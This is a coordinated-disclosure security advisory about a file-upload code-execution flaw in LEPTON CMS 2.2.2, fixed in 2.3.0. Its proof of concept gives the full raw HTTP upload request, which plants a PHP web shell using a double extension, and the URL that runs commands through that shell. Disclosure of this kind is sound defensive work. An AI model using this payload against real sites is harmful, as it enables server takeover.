Security Advisory - Curesec Research Team

1. Introduction

Affected Product:   LEPTON 2.2.2 stable
Fixed in:           2.3.0
Fixed Version Link: http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php
Vendor Website:     http://www.lepton-cms.org/
Vulnerability Type: Code Execution
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to        11/10/2016
public:
Release mode:       Coordinated Release
CVE:                n/a
Credits             Tim Coen of Curesec GmbH

2. Overview

Lepton is a content management system written in PHP. In version 2.2.2, it is
vulnerable to code execution as it is possible to upload files with dangerous
type via the media manager.

3. Details

Upload of file with dangerous type

CVSS: High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C

Description: When uploading a file in the media tab, there is a client-side as
well as a server-side extension check. The server-side check can be bypassed by
including a valid extension before the desired extension, leading to code
execution or XSS.

Proof of Concept:

POST /LEPTON_stable_2.2.2/upload/admins/media/index.php?leptoken=
099c871bbf640f2f91d2az1472132032 HTTP/1.1 Host: localhost Accept-Language:
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: lep9131sessionid=
8bgkd5rae5nhbn0jaac8jpkpc5 Connection: close Content-Type: multipart/form-data;
boundary=---------------------------38397165016927337851258279296
Content-Length: 613 -----------------------------38397165016927337851258279296
Content-Disposition: form-data; name="action" media_upload
-----------------------------38397165016927337851258279296 Content-Disposition:
form-data; name="current_dir"
-----------------------------38397165016927337851258279296 Content-Disposition:
form-data; name="upload[]"; filename="test.png.php5" Content-Type: image/png <?
php passthru($_GET['x']);
-----------------------------38397165016927337851258279296 Content-Disposition:
form-data; name="submit" Upload File(s)
-----------------------------38397165016927337851258279296-- http://localhost/
LEPTON_stable_2.2.2/upload/media/test.png.php5?x=id

4. Solution

To mitigate this issue please upgrade at least to version 2.3.0:

http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php

Please note that a newer version might already be available.

5. Report Timeline

09/05/2016 Informed Vendor about Issue
09/06/2016 Vendor requests 60 days to release fix
10/25/2016 Vendor releases fix
11/10/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/Lepton-222-Code-Execution-171.html
 
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Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany